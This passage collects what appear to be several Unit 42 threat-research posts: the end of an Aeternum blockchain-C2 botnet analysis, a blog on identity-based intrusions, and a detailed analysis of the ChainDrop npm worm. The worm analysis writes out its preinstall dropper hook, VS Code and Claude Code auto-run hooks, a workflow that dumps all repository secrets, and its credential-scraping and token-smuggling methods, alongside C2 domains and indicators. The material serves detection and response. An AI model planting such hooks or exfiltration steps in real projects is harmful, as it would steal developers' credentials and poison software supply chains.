object attributes) match with ZingoStealer reported by Cisco Talos on April 13, 2022. However, we cannot fully attribute this activity to ZingoStealer. SHA256 hash: ea1b6ff3a0c1a749b9f09d66789973321d63d8896b48f7345193bdad512950a2 Our third sample is a Python script file containing the source code for the Aeternum malware. The key element used to confirm its association with the Aeternum operation is the data value 0xb68d1809, which functions as the unique function selector used to query the Polygon smart contract. The code contains a blockchain-based fall-back mechanism to counter infrastructure takedowns. By executing a read-only eth_call to a specific Polygon smart contract, the malware can retrieve and decrypt new C2 domains on the fly. This decentralized dead-drop resolver, combined with the Star Drop space-themed Telegram formatting, highlights an operation designed for resilience and stealth. Figure 18 below shows a section of the Python script illustrating this. Analysis of the malware’s source code reveals a multi-staged infection chain that begins with a social engineering lure impersonating a DBeaver installer. To ensure it only executes on high-value targets, the code includes rigorous anti-analysis routines that check for specific sandbox usernames, machine names and a minimum of 8 GB of RAM. Notably, it validates the presence of Zone.Identifier alternate data streams in a user account's Downloads folder to confirm the system is not a pristine, empty virtual machine. Once validated, the malware establishes persistence by creating a disguised shortcut in the Windows Startup folder and employs an Early Bird APC injection technique. This technique involves spawning a suspended, signed binary (dpapimig.exe) and injecting shellcode into its address space, effectively executing the malicious payload before security hooks are fully initialized. Figure 19 below shows a section of the Python script representing this. The source code further details an aggressive focus on cryptocurrency data exfiltration. It features hard-coded routines to harvest credentials from over 55 cryptocurrency browser extensions and 10 popular desktop wallets. Data exfiltration and C2 communication are handled via a hybrid architecture. While primary reconnaissance is sent via Telegram, the main C2 loop uses obfuscated JSON payloads padded with junk data to break traffic signatures. Figure 20 below illustrates this in a section of Python script. The full table of the malware indicators can be found in the Indicators of Compromise section of this article. The key to tracking the Aeternum botnet lies in the Polygon smart contract's function selector, 0xb68d1809, which resolves to the getDomain() function. The malware calls this public function to retrieve an XOR key and Base64-encrypted C2 domain stored in the contract's storage slot. The permanence of this 4-byte selector across all Aeternum malware samples provides a reliable cryptographic fingerprint, which ties all related activity back to the same campaign. The smart contract architecture is simple but resilient, using storage slot 0 for the admin (deployer's wallet) address and slot 1 for the encrypted domain. While the getDomain() function is public for malware retrieval, a second critical selector, 0xb249cd2d (updateDomain), is an admin-only function used to rotate the C2 domain. Transactions linked to the primary operator's smart contract address, associated with the moniker LenAI, confirmed they actively use this updateDomain() method to push new C2 information, such as hxxps[:]//cdnjsdelivr[.]beer/, to the blockchain. Figure 21 below shows a flowchart of this operation. Static analysis of the Ethereum virtual machine (EVM) bytecode from all three samples indicates a single threat group is iteratively refining the codebase. Despite variations in deployment addresses and sequential compiler upgrades (from solc 0.8.0 to 0.8.30), the contracts maintain an identical state-management architecture and share the three fundamental function selectors (0xb249cd2d, 0xb68d1809 and 0xf851a440). These technical details, including progressive gas optimization and updated error messages, prove attackers are refining and redeploying this same codebase over time. This establishes Aeternum as an evolving threat infrastructure. The Aeternum botnet is one of the latest threats leveraging blockchain-based botnets. Attackers are migrating from conventional self-hosted C2 mechanisms to more evasive and resilient alternatives. They are hiding malicious payloads in smart contracts, such as those on the Polygon blockchain, a trend exemplified by Aeternum. This investigation shows that malware developers are leveraging the blockchain as a decentralized communication mechanism for their operations. They are also leveraging Aeternum as a botnet selection for the C2 management console. We expect this trend to continue. Throughout the duration of this study, our Advanced Threat Prevention security solution successfully identified and recorded more than 29,000 detection events (as of June 4, 2026). Palo Alto Networks customers are better protected from the threats discussed above through the following products and services: The Advanced WildFire machine-learning models and analysis techniques have been reviewed and updated in light of the indicators shared in this research. Advanced URL Filtering and Advanced DNS Security identify known domains and URLs associated with this activity as malicious. The Next-Generation Firewall with the Advanced Threat Prevention security subscription can help block the attacks with best practices via the following Threat Prevention signature/s: 87116, 87152. Cortex XDR and XSIAM help to prevent the threats described in this article, by employing the Malware Prevention Engine. This approach combines several layers of protection, including Advanced WildFire, Behavioral Threat Protection and the Local Analysis module, to prevent both known and unknown malware from causing harm to endpoints. If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call: North America: Toll Free: +1 (866) 486-4842 (866.4.UNIT42) UK: +44.20.3743.3660 Europe and Middle East: +31.20.299.3130 Asia: +65.6983.8730 Japan: +81.50.1790.0200 Australia: +61.2.4062.7950 India: 000 800 050 45107 South Korea: +82.080.467.8774 Palo Alto Networks has shared these findings with our fellow Cyber Threat Alliance (CTA) members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance. Table 1 contains indicators for the Aeternum loader (Sample 1). Table 1. Indicators associated with Aeternum loader (sample 1). Table 2 contains indicators for XWorm and XMRig cryptocurrency miner, and C2 exfiltration activity (sample 2). Table 2. Indicators for XWorm + XMRig cryptocurrency miner + C2 exfiltration (sample 2). Table 3 contains indicators for the Python malware (sample 3). Table 3. Indicators for the Python malware (sample 3). Table 4 contains the shared blockchain indicators. Table 4. Shared blockchain indicators. Aeternum C2 Botnet Stores Encrypted Commands on Polygon blockchain – The Hacker News Exploring Aeternum C2 – Qrator Research Lab Aeternum C2: The Botnet That Lives on the Polygon blockchain – deepseax (on dev.to) Aeternum Botnet C2 on Polygon – InfoSecurity Magazine Aeternum C2 Botnet Leverages Blockchain for Resilient Command and Control – SC World

In The 72-Minute Race, we explored how attackers are compressing the time between initial access and business impact. But as attacks continue to accelerate, another trend has emerged: Attackers are increasingly gaining access through compromised identities rather than exploiting technology vulnerabilities. According to the 2026 Unit 42 Global Incident Response Report, identity weaknesses played a role in nearly 90% of incidents investigated by Unit 42. The report also found that 65% of initial access activity involved identity-based techniques, underscoring how credential theft, multifactor authentication (MFA) manipulation, session hijacking and social engineering have become some of the most effective ways to gain access to enterprise environments. Across recent Unit 42 investigations, we see a consistent pattern. Attackers often gain initial access through: Phishing campaigns Social engineering calls MFA fatigue attacks Compromised third-party accounts Misuse of help desk processes Once inside, attackers establish persistence, elevate privileges and move laterally across various environments. These activities often resemble legitimate administrative behavior. Malicious activity can remain hidden long enough for attackers to broaden their foothold before security teams recognize the full scope of the incident. A social-first entry: Threat groups such as Muddled Libra (aka Scattered Spider) demonstrate how many attackers increasingly rely on social engineering and identity abuse as part of their toolkit. Expansion through identity: Once inside, attackers exploit identity weaknesses to establish persistence, compromise additional accounts and escalate privileges to strengthen their foothold. Each action expands their access and makes the compromise more difficult to contain. The escalating access: As highlighted in the 2026 Unit 42 Global Incident Response Report, 87% of incidents span multiple attack surfaces. An initial compromised identity can quickly become a multi-domain investigation that requires defenders to connect activity across the environment. The objective: Whether the objective is ransomware deployment, data theft, financial fraud or long-term persistence, identity compromise often serves as the foundation for broader attacker objectives. From a tooling perspective, the warning signs are often already present across the organization’s security controls. Without automated correlation, these signals can appear low priority in isolation, allowing attackers to expand their access before defenders recognize the full scope of the incident. How Our Unit 42 Managed Services Team Responds When investigating identity-driven attacks, our Unit 42 analysts use the Cortex SecOps platform to unify security telemetry into a single investigative view, allowing them to quickly validate suspicious activity and understand the full scope of the attack. Our 24/7 Managed Detection and Response (MDR) team continuously investigates suspicious activity while our threat hunters proactively search for signs of identity compromise that may not yet have generated an alert. AI-driven correlation, behavioral context and Unit 42 threat intelligence help our teams quickly validate high-confidence incidents and determine the full scope of attacker activity. Organizations using Managed XSIAM extend this approach through AI-driven correlation, integrated investigation and response workflows and continuous SOC engineering delivered by Unit 42 experts. Rather than requiring internal teams to continuously engineer and optimize the platform as attacker techniques evolve, our experts refine: Data integrations Custom detections Correlation rules Automated response playbooks This helps organizations identify identity-driven attacks earlier and accelerate response before attackers can expand their access. Advice for SOC Leaders: Look Beyond the Login As identity attacks continue to evolve, security leaders should focus on the operational challenges that often prevent teams from detecting identity-driven attacks early. Prioritize Identity Context A successful login alone is not enough to indicate normal user activity. Correlating identity activity with endpoint, cloud, SaaS and network telemetry provides the behavioral context needed to distinguish legitimate users from compromised accounts. Reduce Manual Investigation Consolidate telemetry and investigations into a unified view to reduce analyst pivots between disconnected tools. Centralized visibility enables security teams to identify attacker activity faster and respond with greater confidence. Continuously Improve Detection Attackers continuously adapt their techniques. Regularly refining detections, correlation rules and response playbooks helps ensure defenses evolve alongside emerging identity-based threats. Protect Time for Threat Hunting Dedicated threat hunting helps uncover credential abuse, privilege escalation and hidden persistence before they escalate into larger incidents. What's Next In our next entry in this series, we'll examine why modern attacks increasingly cross security domains and why unified visibility has become essential for detecting and stopping multi-surface attacks before they escalate into business impact. The Unit 42 Managed Services Edge Identity attacks have become one of the most effective ways for adversaries to bypass traditional security controls. Unit 42 combines expert-led Managed Detection and Response (MDR), proactive threat hunting, continuous SOC engineering and frontline incident response expertise to help organizations identify identity-driven attacks earlier and respond with greater confidence. Learn more about Unit 42 Managed Services.

A self-propagating npm worm nicknamed ChainDrop infected over 400 packages that are collectively downloaded hundreds of millions of times each week. This includes malicious versions of widely used packages such as keyv and cacheable-request. Unit 42 has unique observations of this attack. The attackers behind ChainDrop potentially exposed developer workstations, continuous integration (CI) pipelines, cloud environments and downstream software users across a large number of organizations. Once installed, ChainDrop steals: Cloud credentials npm and GitHub tokens SSH keys Other sensitive developer data It can also extract temporary credentials from GitHub Actions runner memory and use stolen npm publishing tokens to infect and republish additional packages while preserving their legitimate functionality. We have observed active attempted operations, which were detected out of the box by our existing products. During our investigation into this attack, we identified 453 public GitHub repositories across five accounts matching the worm’s exfiltration patterns. We also detected ChainDrop execution across 10 distinct environments. At the time of publication, these repos were removed. We have deobfuscated the malware and identified: Persistence through developer and AI coding tools Blockchain-based command-and-control (C2) resolution Its ability to execute additional attacker-supplied code Additionally, late on Aug. 4, 2026, we observed the adversary silently reconfiguring the worm's entire C2 infrastructure through a single Ethereum transaction, without requiring any update to the deployed malware. This attack is the latest in a series of threats to the security of the npm ecosystem. Unit 42 recommends: Identifying installations of affected npm package versions Removing affected package versions Investigating developer workstations and CI runners for signs of compromise Reviewing unexpected npm publishing and GitHub repository activity. Revoking and rotating potentially exposed npm, GitHub, cloud, SSH and automation credentials. Removing identified persistence mechanisms Blocking both the domain-based and GitHub-based exfiltration channels The Koi Agentic Endpoint Security risk engine flagged the malicious package activity as the attack unfolded. Cortex XDR detected and alerted on the worm’s execution using out-of-the-box behavioral detections. Palo Alto Networks customers can use Koi Agentic Endpoint Security to help identify and control malicious packages across developer endpoints. The Cortex AgentiX Threat Intel agent can help allow analysts to extract, enrich, and search IoCs using natural language to quickly determine organizational impact. Cortex Cloud Endpoint Protection leverages AI-enabled analytics to help detect and prevent threats targeting Linux endpoints, containers, and associated cloud IAM policies. Cortex XDR and XSIAM provide behavioral detection, investigation and response that can help organizations address ChainDrop activity executing in development environments. Idira Secrets Manager and Secrets Hub eliminate hard-coded credentials from configure files and source code by automating zero-downtime rotation, and dynamically delivering just-in-time access to non-human identities across multi-cloud and DevOps environments. The Unit 42 Cloud Security Assessment is an evaluation service that reviews cloud infrastructure to identify misconfigurations and security gaps. The Unit 42 Incident Response team can also be engaged to help with a compromise or to provide a proactive assessment to lower your risk. We analyzed the contents from one of the infected packages to understand the full attack chain. The package contained the legitimate software development kit (SDK) code that a user would expect, including the source, dependencies and documentation. But it also contained small indicators of the ChainDrop worm: two extra top-level files and one lifecycle hook. The indicators of the worm can be subtle, as illustrated in the following example. One of the indicators is an infected npm package's package.json file containing code with the preinstall command, as shown in Figure 1. That preinstall line is the only modification the worm makes to this package's manifest. It points to setup.mjs, a dropper that checks whether Bun (a lightweight JavaScript runtime and package manager alternative to Node.js) is on PATH. It downloads Bun 1.3.13 from the legitimate Oven GitHub repository if it isn't present. Then it feeds Bun a 727 KB obfuscated JavaScript payload (math_init.js) compressed into two source lines. To be clear: Bun is not compromised. The attacker is using a legitimate runtime as a portable execution vehicle. The payload spawns a detached background process, sets _NODE_RUNTIME_INIT=1 to prevent recursive relaunch and lets the install finish cleanly. No errors. No warnings. Most developers would move on without noticing a key detail: The worm is already running. The worm detaches when it is not in CI. If it detects a CI environment it runs inline in the job instead, which means its own debug output lands in the workflow log. This is useful for defenders looking for indicators because the worm is chatty. One further gate runs before the worm engages in any collection. This gate is a locale check that, on a Russian-language host, prints “Exiting as russian language detected!” and exits cleanly. The worm spares those machines. The background payload begins a sweep of the infected machine to harvest credentials from the environment. These include the following categories: Cloud credentials: - Multiple major cloud infrastructure platforms - The worm queries metadata endpoints and token endpoints across both compute instances and container services to harvest temporary identity and access management (IAM) role credentials, extending scope to short-lived identity tokens used by automated integration runners Multiple major cloud infrastructure platforms Developer tooling: - Docker and Helm configurations - Git credentials - Mount listings - npm and GitHub tokens - Poetry and PyPI credentials - RubyGems tokens - SSH keys - Terraform state - Vault tokens AI tools: - AI-assisted coding tools - Cloud-based development platforms - Open-source coding assistant configurations and authentication artifacts Everything else: - .env files - .netrc - Application configuration scattered across the home directory - Bitcoin and Electrum wallet files - Jenkins encrypted credential material - Kubernetes service-account tokens and kubeconfigs - Shell histories ChainDrop harvests credentials, but also a wide variety of other information about the systems and environment it’s running on. Some of the information stolen is vital for the worm’s survival. The npm and GitHub tokens it finds are what it needs to keep spreading. An embedded Python helper hidden inside an encrypted blob in the payload locates the Runner.Worker process on GitHub Actions runners, opens /proc/ /maps and /proc/ /mem, and searches live process memory for OpenID Connect (OIDC) tokens and runner secrets. The flow of this GitHub Actions runner memory scraping is illustrated in Figure 2. Rather than waiting for a file to be written to disk, the worm searches memory. In the process, it captures secrets that may have been designed to vanish when a job finishes. Organizations should be aware that CI runners are credential targets and can be exfiltrated through attacks on process memory. The worm establishes several persistence mechanisms, but two of them deserve special attention: Cross-linked persistence through VS Code and Claude Code A latent capability for OS-level persistence It writes a .vscode/tasks.json file with a task labeled Environment Setup and sets it to run when the folder opens — meaning it executes automatically whenever a developer opens the project in VS Code. That task runs node .claude/setup.mjs, a copy of the dropper that is byte-identical to the setup.mjs shipped in the package itself. It also writes a .claude/settings.json file with a SessionStart command hook, meaning it executes whenever Claude Code starts a session in the project. That hook runs node .vscode/setup.mjs, a second copy of the same dropper. Figure 3 shows the cross-linked persistence through both .vscode/tasks.json and .claude/settings.json files. Neither file triggers the other. Each one runs the dropper copy sitting in the other's directory, and the actual trigger in both cases is a developer action: opening the folder, or starting a Claude Code session. Cross-referencing is a naming trick that makes each artifact look like it belongs to the other tool. The payload is only ever written as .claude/math_init.js, and setup.mjs resolves math_init.js relative to its own location. .vscode/setup.mjs goes looking for a .vscode/math_init.js that the malware never dropped. In this build, only the VS Code path reaches a payload at all. The full set of dropped files is: .claude/math_init.js .claude/settings.json .claude/setup.mjs .vscode/setup.mjs .vscode/tasks.json Deleting either directory outright breaks both paths. However, defenders should remove all five files to be sure the worm is disabled. The worm also carries an installer for a macOS LaunchAgent (com.user.gh-token-monitor) and a Linux systemd user service (gh-token-monitor.service). In this sample, the installer was decrypted but never invoked. The routine that pipes it to bash has no call site, so treat OS-level persistence as latent capability, not observed behavior. The attacker is turning a trusted developer and AI-tool configuration into execution infrastructure. These aren't files most developers think to audit. Once the worm has an npm token, it: Identifies every package the account can publish Downloads or reconstructs each package Adds preinstall: node setup.mjs to the package.json file Writes the dropper (setup.mjs) and the obfuscated payload (math_init.js) Increments the patch version Republishes the infected package as the current npm package The infected package still works. The original source code is intact. As in the sample we analyzed, the only additions are the two top-level files and the lifecycle hook. The worm also plants a .github/workflows/codeql_analysis.yml file that serializes ${{ toJSON(secrets) }} and uploads it as an Actions artifact, another path to exfiltrate repository secrets. And it creates public repositories under the victim's GitHub account with the description Shai-Hulud: Here We Go Again and Dune-themed names, using them as an additional exfiltration channel. Everything above is a relatively loud and more obvious propagation path. There is a second typosquatting method that is much quieter and it only appears in a single place. Before collecting anything, the worm checks three environment variables. If these three variables are set: GITHUB_ACTIONS GITHUB_REPOSITORY to contain /opensearch-js GITHUB_WORKFLOW_REF to contain release-drafter.yml The worm runs a static routine of republishing the repo and exits. No collection takes place. Also, If the worm is placed in a repo that contains /opensearch-js, but does not contain release-drafter.yml, it exits and steals nothing at all. It stays silent in the runs a maintainer is most likely to be reading. Inside this second method, the worm does not need a stolen npm token. It asks the runner for an OIDC token with the audience npm:registry.npmjs.org and trades it at npm's own trusted-publishing exchange endpoint for a real publish credential. The repository's legitimate release identity becomes the attacker's. Then it modifies the package, and not the way it modifies everything else. This path never touches scripts. It downloads the latest @opensearch-project/opensearch tarball, bumps the patch version and adds one line to the package.json file shown below in Figure 4. The dependency name typosquats the project's own @opensearch-project scope and points at a pinned commit of the project's own repository. In a diff it reads like an internal helper. Detections built around preinstall hooks could easily miss it. And then the worm signs the result. Before publishing, the worm: Requests a second OIDC token (audience sigstore this time) Obtains a Fulcio certificate Builds an in-toto SLSA v1 provenance statement over the tarball's SHA-512 hash DSSE-signs it with an ephemeral P-256 key Uploads the entry to the public Rekor transparency log Attaches the bundle to the publish as - .sigstore Logs the resulting search.sigstore.dev URL as it goes This is not forged provenance. The attestation says the tarball was built in that repository by that workflow, and that is true. That breaks a control many teams are currently leaning on. Given the reality of today’s npm supply chain threats, a package having valid npm provenance does not mean the package is clean. It only means the tarball came out of the workflow named in the certificate. If that workflow is running attacker code, valid provenance is what you should expect to see. Pivot on the Rekor log index and the workflow identity inside the certificate, not on whether the signature checks out. We did not observe this path execute, and it cannot execute anywhere except in release-drafter.yml inside the opensearch-project/opensearch-js workflow. But it is fully implemented, reachable from the payload's main entry point, and it names its target in cleartext once the string layers come off. This repository is not typosquatted. The typosquat is the injected dependency name @opensearch/setup, which imitates the real @opensearch-project scope. The worm doesn't contain a hard-coded C2 domain. Instead, it calls an Ethereum smart contract to ask where to send stolen data. The contract sits at 0xE1f2395ee43e45A1556EC6438a88c31B83493103. This contract is a small StringListStore with three functions: return all domains, return owner and an owner-only setter. It emits no events, so domain rotation is a silent state write. Defenders who block today's domain may not notice when the operator changes it unless they're polling the contract. The worm rotates through roughly 60 public Ethereum RPC endpoints until one answers, making it resilient to any single provider blocking the request. When the contract was first configured, the operator wrote three domains: npm-cache[.]com pypi-get[.]com js-mirror[.]com Two hours and 35 minutes later, they replaced the list with only npm-cache[.]com. As of our analysis, that's still the active C2. If contract-resolved domains fail, the worm falls back to searching GitHub commits for the marker thebeautifulmarchoftime, expecting a signed record containing a backup domain. During our query, the fallback was unarmed. No valid operator record existed. However, the mechanism is built and waiting. The primary C2 domain, npm-cache[.]com, sits behind an edge computing and reverse-proxy service, so its published addresses are shared edge addresses rather than attacker-owned hosts, so block on domain or SNI. Blocking these IP addresses will not reach the origin and will affect unrelated traffic. After sending stolen data, the worm reads the HTTP response, parses it as JSON and evaluates whatever comes back. The JavaScript code to accomplish this is shown below in Figure 5. There is no fixed second-stage payload baked into the worm. The operator chooses the next stage at request time. Because each exfiltration request includes a host-derived UUID, the response can be targeted per victim and never written to disk. During our analysis, we sent a correctly formatted synthetic envelope using the worm's exact encryption scheme with dummy data to the live C2 endpoint. The server returned an HTTP 200 OK with an empty body. No code field was served to our probe. That means the remote code execution (RCE) channel was either disarmed at test time, selectively gated on victim attributes or asynchronous. Stolen data is JSON-serialized, gzipped, encrypted with a random AES-256-GCM key and wrapped with RSA-OAEP-SHA256 using an embedded public key. The worm sends the code shown below in Figure 6. Everything goes to hxxps://npm-cache[.]com:443/router over TLS. Network capture can prove that data left the machine and estimate its volume, but recovering the plaintext requires the operator's private RSA key. Only the domain-based sender evaluates returned code. Blocking the domain prevents an arbitrary RCE stage if the functionality is enabled. But the GitHub fallback can still exfiltrate data through victim-owned repositories, which means full containment requires addressing both channels. There is a third situation that we describe in this section, and it is the strangest one. When the GitHub sender carries a stolen token, the worm Base64-encodes that token twice and makes the result the commit message, prefixed with a fixed marker: IfYouBlockThisAPIKeyItWillCrashTheLiveProductionServersOfAllThirdPartyClients A separate routine in the same payload searches GitHub's commit API for that marker, double-decodes every match and keeps any token that passes a repository-scope check. One victim's stolen credentials become a usable resource for every other running copy of the worm. Despite the claims made in the marker, defenders should grep for it. It is long enough and strange enough that a full match is highly unlikely to be a false positive. A live hit means a credential is sitting in a public commit and needs revoking. The three C2 domains were registered through one registrar within eight seconds of each other on May 22, 2026: js-mirror[.]com - 13:40:28 UTC npm-cache[.]com - 13:40:32 UTC pypi-get[.]com - 13:40:36 UTC All three use the same nameservers. Fourteen minutes and 23 seconds after the last registration, FixedFloat transferred 0.01805723 ETH to the operator's wallet (0x55F9780e…f31cD). Three days later, on May 25, the wallet deployed the Ethereum resolver contract, wrote all three domains into it, and 2 hours and 35 minutes after that narrowed the list to just npm-cache[.]com. The next morning it transferred 0.00436 ETH to a Binance-labeled deposit address. The accounting reconciles to the wei. A timeline showing the deployment of the campaign infrastructure is shown below in Figure 7. FixedFloat is a shared exchange wallet with millions of transactions. This wallet tells us the funding rail, not the operator's identity. The Binance deposit address is the strongest identity pivot. On Aug. 4, 2026, the attacker executed an on-chain transaction 0xc55920f1bd0531b6738153068a666c080ddded47e6256f1fd980d51c0b507c91 to modify the StringListStore in smart contract 0xE1f2395ee43e45A1556EC6438a88c31B83493103, rotating the active C2 domain from npm-cache[.]com to a newly registered domain, awqhnjewqjkl[.]icu. The transaction was submitted by wallet 0x55F9780ef31cD, the same wallet that originally deployed the C2 smart contract on May 25, 2026. The new domain awqhnjewqjkl[.]icu was registered via NameSilo, LLC at 15:15:26 UTC on Aug. 4, 2026, and was operationally active within the hour as the earliest observed connection observed by Unit 42 researchers occurred at 16:10:03 UTC. The domain exhibits characteristics consistent with domain generation algorithm (DGA) output: a randomized 12-character string on the .icu top-level domain (TLD), flagged as DGA by the VirusTotal community. This represents a shift from the previous C2 domain npm-cache.com, which used a naming convention that mimicked a developer ecosystem and was registered through a different registrar (Tucows/OpenSRS). Despite the change in registrar and naming convention, both awqhnjewqjkl[.]icu and npm-cache[.]com are proxied through Cloudflare's cloud delivery network (CDN) infrastructure. Both domains serve the identical Cloudflare default CDN-CGI stylesheet d30b4ea6f68456672f5abb35e9dcf7d54226372b66e9d60a7ee26b7a52568e74, confirming shared use of the Cloudflare proxy layer. The new domain was issued a TLS certificate by Google Trust Services (WE1), which is valid from Aug. 4–Nov. 2, 2026, with Subject Alternative Names (SAN) covering both awqhnjewqjkl[.]icu and *.awqhnjewqjkl[.]icu. Within approximately 19 hours of the domain becoming active, we witnessed network traffic to victim environments. The affected infrastructure spans four continents: North America, Europe, Asia and Africa. The destination IP addresses for this C2 domain include 104.21.91[.]101 and 172.67.215[.]154. The geographic and organizational breadth of these connections is consistent with the indiscriminate, worm-driven propagation model of ChainDrop. This C2 rotation demonstrates the adversary's ability to silently reconfigure the worm's entire C2 infrastructure through a single Ethereum transaction, without requiring any update to the deployed malware. Monitoring the smart contract for future setStrings() calls would provide early warning of subsequent domain rotations. Multiple indicators point to this being the Shai-Hulud toolchain documented by JFrog: The PBKDF2-based string decoder The Bun 1.3.13 pin The _NODE_RUNTIME_INIT detached-relaunch pattern The self-applied Shai-Hulud: Here We Go Again marker The npm self-propagation and GitHub exfiltration architecture However, these indicators don’t prove the same attackers are behind the campaign. Because the Shai-Hulud source was published in May 2026, the implementation can be reused by anyone. This sample also mixes characteristics that don't match any previously published variant: Public victim-owned exfiltration repositories with Dune-themed names Ethereum-based domain resolution, thebeautifulmarchoftime commit-search fallback A Russian-language exclusion check A repository-gated npm trusted-publishing path that mints genuine Sigstore provenance preinstall delivery rather than the binding.gyp technique reported in earlier waves The ChainDrop worm is clearly part of the Shai-Hulud code lineage. However, we cannot yet say whether it's operated by the group known as TeamPCP, or by another group adapting the published toolkit for their own purposes. We detected ChainDrop operations across 10 distinct environments using out-of-the-box XDR detections focused on JavaScript runtime events. In one instance, as illustrated in the process execution in Figure 8, the threat activity originated within a developer's VS Code environment. The threat actors leveraged Bun to execute the malicious payload Math_Symbol.js from within the cacheable node modules directory. This script then spawned cmd.exe to invoke gh auth token to capture the user's GitHub authentication credentials. The 727 KB payload was protected by three nested layers of obfuscation and encryption. We broke through all of them. No unexplained blob remains in the sample. Layer 1 used Base91 encoding with 73 function-specific alphabets and a 14-position array rotation. We recovered 4,613 hidden string entries. Layer 2 used a custom byte-permutation cipher built on PBKDF2-SHA256 with 200,000 iterations and seeded Fisher-Yates shuffles. We recovered 727 additional hidden strings. Layer 3 used AES-256-GCM encryption plus gzip to protect 10 large encrypted blobs. These blobs contained: Bash and Python helpers Persistence installers The GitHub Actions memory scraper Malicious workflow templates VS Code and Claude persistence files RSA public keys Additional dropper copies These three layers are shown below in Figure 9. During our analysis, at approximately 12:20 UTC on Aug. 4, 2026, we searched GitHub for public repositories matching the worm's exact exfiltration marker: the description Shai-Hulud: Here We Go Again. We found 453 public repositories across five accounts. The earliest was created on May 11. The newest had been created roughly 25 minutes before our query. The names followed the pattern that matched the worm's Dune-themed generator exactly, with combinations like sardaukar-futar-421 and harkonnen-ghola-669. These five accounts are candidate victim accounts, not confirmed victims. The 453 repository counts might be only a starting point for possible compromises. In addition to public matches, there may be private repositories compromised as well. But the naming, description and creation patterns match the worm's behavior, and new repositories were still appearing while we watched. Three accounts held most of the total repos that we discovered. The attackers are not only actively compromising repositories, they are also rapidly releasing new versions of compromised packages. We analyzed one compromised package, but then noticed that a newer version of the package had landed six minutes after the compromised package. Another landed 70 minutes after that. The threat actors are actively, and rapidly, creating new repositories, versions and patch numbers, which will propagate the worm more efficiently. Because CI/CD pipelines are often configured to pull the latest patch or version, if there are several rapid fire versions, and they are compromised, the CI pipelines are more likely to grab an infected package. Defenders may not be taking the most effective approach to removing the worm’s infection. It is critical to ensure poisoned packages and their files are fully removed from potentially compromised systems. Unit 42 researchers found that a previously compromised system was rolled back to the latest tag pointing at the latest clean version. This fixed the tagging issue. However, it didn't fix the poisoned lockfiles, caches, mirrors or tarballs already sitting in a CI image. Even after updating the latest tag to point to a secure version, machines that installed the package during the compromise will not automatically receive the fix. Because lockfiles retain the compromised version, these systems remain vulnerable until administrators actively clear the lockfiles and fetch the updated release. Assume the potential impact is wider than what we know now. The worm attempts to republish itself through packages writable by compromised npm tokens. If a developer installed an affected release, enumerate every package their npm credentials could modify. Add npm-cache[.]com, pypi-get[.]com and js-mirror[.]com to DNS and TLS SNI blocklists. Prefer sinkholing over an HTTP block page, because the worm treats HTTP 400 and 404 as a healthy C2 response. Monitor the resolver contract for domain changes. Revoke or rotate npm tokens, GitHub PATs and deploy keys, cloud credentials, Kubernetes service-account tokens, Vault tokens, SSH keys and AI-provider credentials accessible to confirmed infected hosts. Treat CI runners as potentially compromised if the worm executed there. Search accessible repositories for: .vscode/tasks.json invoking .claude/setup.mjs .claude/settings.json invoking .vscode/setup.mjs .github/workflows/codeql_analysis.yml containing toJSON(secrets) Math_Symbol.js math_init.js setup.mjs router_runtime.js Although the installer was not invoked on the analyzed main execution path, search for: ~/Library/LaunchAgents/com.user.gh-token-monitor.plist ~/.config/systemd/user/gh-token-monitor.service ~/.local/bin/gh-token-monitor.sh ~/.config/gh-token-monitor/ Look for HTTP GET or POST requests to /router on the three C2 domains, Ethereum JSON-RPC eth_call requests targeting 0xE1f2395ee43e45A1556EC6438a88c31B83493103, and GitHub commit searches containing thebeautifulmarchoftime or IfYouBlockThisAPIKeyItWillCrashTheLiveProductionServersOfAllThirdPartyClients. Search accessible repositories for commit messages containing IfYouBlockThisAPIKeyItWillCrashTheLiveProductionServersOfAllThirdPartyClients, and for the dead-drop record prefix thebeautifulsnadsoftime. A match on the first is a leaked credential requiring immediate revocation. A match on the second is a planted backup C2 domain. Compare recently published patch releases for new preinstall hooks, replaced scripts objects, setup.mjs files and large minified JavaScript bundles. Do not scope to listed packages. The worm is designed to spread to unrelated packages writable by stolen tokens. Here is a practical playbook for AppSec engineers and developers: Bind authentication to the workload: The stealer targeted HashiCorp Vault tokens alongside npm, GitHub, AWS and Kubernetes credentials. A vault does not help when the token authenticating to it is a bearer string in a dotfile. Use credentials bound to the workload itself, such as mutual TLS with a SPIFFE identity, a cloud IAM role, or a projected service account token with an audience claim, so replay from attacker infrastructure fails. Use ephemeral CI runners: Persistent self-hosted runners accumulate credentials and caches across jobs that often belong to different teams, so one poisoned install contaminates everything that runs after it. Single-use runners limit exposure to one job. Plant canary credentials: Use decoys produce high-confidence signals with low false positives. Place non-functional keys in ~/.aws/credentials, ~/.npmrc, and an .env file across build images and workstations, then enable high alert on any use. Egress filtering in CI/CD: Most npm-based malware attempts to send ~/.npmrc tokens or ~/.ssh keys to a C2 server. Apply strict egress network policies to your CI runners. Only allow connections to your private registry and known deployment targets. The Unit 42 Managed Threat Hunting team continues to track any attempts to exploit these issues across our customers, using Cortex XDR and the XQL queries below. Cortex XDR customers can also use these XQL queries to search for signs of exploitation. ChainDrop demonstrates how a compromised open-source package can become an entry point into developer workstations, CI pipelines, cloud environments and the broader software supply chain. By stealing publishing credentials and automatically republishing infected packages, the worm can continue spreading through trusted dependencies while leaving their legitimate functionality intact. Its ability to extract ephemeral credentials directly from CI runner memory also means that investigations limited to files stored on developer endpoints may miss critical exposure. Unit 42 recommends: Identifying installations of affected npm package versions Removing affected package versions Investigating developer workstations and CI runners for signs of compromise Reviewing unexpected npm publishing and GitHub repository activity. Revoking and rotating potentially exposed npm, GitHub, cloud, SSH and automation credentials. Removing identified persistence mechanisms Blocking both the domain-based and GitHub-based exfiltration channels Palo Alto Networks customers are better protected through the products described below. Palo Alto Networks and Unit 42 will continue monitoring this campaign for changes in infrastructure, new affected packages and evidence of additional activity, and we will update this threat brief as relevant information becomes available. Palo Alto Networks customers can leverage a variety of product protections and updates to identify and defend against this threat. If you think you might have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call: North America: Toll Free: +1 (866) 486-4842 (866.4.UNIT42) UK: +44.20.3743.3660 Europe and Middle East: +31.20.299.3130 Asia: +65.6983.8730 Japan: +81.50.1790.0200 Australia: +61.2.4062.7950 India: 000 800 050 45107 South Korea: +82.080.467.8774 The Advanced WildFire machine-learning models and analysis techniques have been reviewed and updated in light of the indicators shared in this research. Advanced URL 